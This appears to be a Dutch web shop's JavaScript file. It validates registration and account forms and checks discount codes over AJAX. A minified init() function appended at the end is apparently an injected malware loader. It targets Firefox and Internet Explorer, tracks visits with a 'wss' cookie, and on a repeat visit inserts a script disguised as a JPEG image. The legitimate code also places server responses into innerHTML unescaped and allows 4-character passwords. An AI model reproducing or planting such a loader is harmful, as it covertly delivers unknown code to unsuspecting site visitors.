    	   function checkField(fieldObj)
				{
        		if (fieldObj.value == "") {
            			alert ("De met * gemarkeerde velden zijn verplicht");
            			fieldObj.focus();
            			return false;
        			} else {
            			return true;
        			}

    		   }

    	   function checkForm (required) 
		   {
		   var requiredArray = required.split(','); 
		   var formObj = document.forms.info;

    		     for (i = 0;i < (requiredArray.length); i++)
    		     {
		        if (!checkField(formObj.elements[requiredArray[i]])) return false;
		     }

        	     return true;
		   }
		   
		   function checkInschrijving (required) 
		   {
		   var requiredArray = required.split(','); 
		   var formObj = document.forms.info;
		   
    		    for (i = 0;i < (requiredArray.length); i++)
    		    {
		        if (!checkField(formObj.elements[requiredArray[i]])) return false;
				}
				
				if ( formObj.elements['Wachtwoord'].value.length < 4 )
				{
					alert ("Het wachtwoord is te kort minimaal 4 tekens");
					formObj.elements['Wachtwoord'].focus();
					return false;
				}				
				
				if ( formObj.elements['Wachtwoord'].value != formObj.elements['HerhaalWachtwoord'].value )
				{
					alert ("De wachtwoorden zijn niet hetzelfde");
					formObj.elements['Wachtwoord'].focus();
					return false;
				}
				
				if ( formObj.elements["akkoord"].checked != true )
				{
					alert ("U dient akkoord te gaan met de voorwaarden");
					formObj.elements['akkoord'].focus();
					return false;
				}				

        	    return true;
		   }	


		   function checkAanmelding (required) 
		   {
		   var requiredArray = required.split(','); 
		   var formObj = document.forms.info;

				if ( formObj.elements["akkoord"].checked != true )
				{
					alert ("U dient akkoord te gaan met de voorwaarden");
					formObj.elements['akkoord'].focus();
					return false;
				}		
		   
    		    for (i = 0;i < (requiredArray.length); i++)
    		    {
		        if (!checkField(formObj.elements[requiredArray[i]])) return false;
				}
					
				
		

        	    return true;
		   }	   

    	   function MijnAccount (required) 
		   {
		   var requiredArray = required.split(','); 
		   var formObj = document.forms.info;
		   
    		    for (i = 0;i < (requiredArray.length); i++)
    		    {
		        if (!checkField(formObj.elements[requiredArray[i]])) return false;
				}
				
				if ( formObj.elements['Wachtwoord'].value.length < 4 )
				{
					alert ("Het wachtwoord is te kort minimaal 4 tekens");
					formObj.elements['Wachtwoord'].focus();
					return false;
				}				
				
				if ( formObj.elements['Wachtwoord'].value != formObj.elements['HerhaalWachtwoord'].value )
				{
					alert ("De wachtwoorden zijn niet hetzelfde");
					formObj.elements['Wachtwoord'].focus();
					return false;
				}		

        	    return true;
		   }
		   
			function submitForm(required)
			{

				if (checkForm(required)) {
				return true;
				} else {
				return false;
				}

			}
			
			function ControleerInschrijving(required)
			{

				if (checkInschrijving(required)) {
				return true;
				} else {
				return false;
				}

			}	

			function checkPersonal()
			{
			var formObj = document.forms.info;
			
			if ( formObj.elements['not_complete'] )
				{
					alert ("Voordat u verder gaat dient u de items te personaliseren\n Klik in de kolom onder Pers. op het plus icoon");
					return false;
				}				
			
			}


		
        function OptieAnders(select, field)
            {
            field.select = select
            field.onchange = setNewOption;
			
            if (select.style)
                {
                select.style.display = 'none';
                field.style.display = '';
				document.getElementById(field.name+"_img").style.display='';	
                }
 
            field.focus();
            }
 
        function setNewOption()
            {
            var option = new Option(this.value, this.value);
            this.select.options[this.select.options.length] = option;
			this.select.selectedIndex = this.select.options.length-1;
 
            if (this.style)
                {
                this.style.display = 'none';
                this.select.style.display = '';
				document.getElementById(this.name+"_img").style.display='none';	
                }
				
			}

 
			function getUrlVars()
		{
			var vars = [], hash;
			var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&');
		
			for(var i = 0; i < hashes.length; i++)
			{
				hash = hashes[i].split('=');
				vars.push(hash[0]);
				vars[hash[0]] = hash[1];
			}
		
			return vars;
		}	


		function xmlhttpPost(Query) {
		var container = document.getElementById("OK");
		container.innerHTML ="";	
		var strURL = "forms/shared/code.pl";
		var xmlHttpReq = false;
		var self = this;
		// Mozilla/Safari
		if (window.XMLHttpRequest) {
			self.xmlHttpReq = new XMLHttpRequest();
		}
		// IE
		else if (window.ActiveXObject) {
			self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
		}
		self.xmlHttpReq.open('POST', strURL, true);
		self.xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
		self.xmlHttpReq.onreadystatechange = function() {
			if (self.xmlHttpReq.readyState == 4) {					
			var container = document.getElementById("OK");
			container.innerHTML =self.xmlHttpReq.responseText;	

			}
		}
		self.xmlHttpReq.send(Query);
		}	

	

            function calculate(button)
			{
			var code = document.getElementById('Kortingscode').value;
			qstr = 'Kortingscode=' + code 
			xmlhttpPost(qstr);
			}		

			

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/files/website/Image/vgp.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
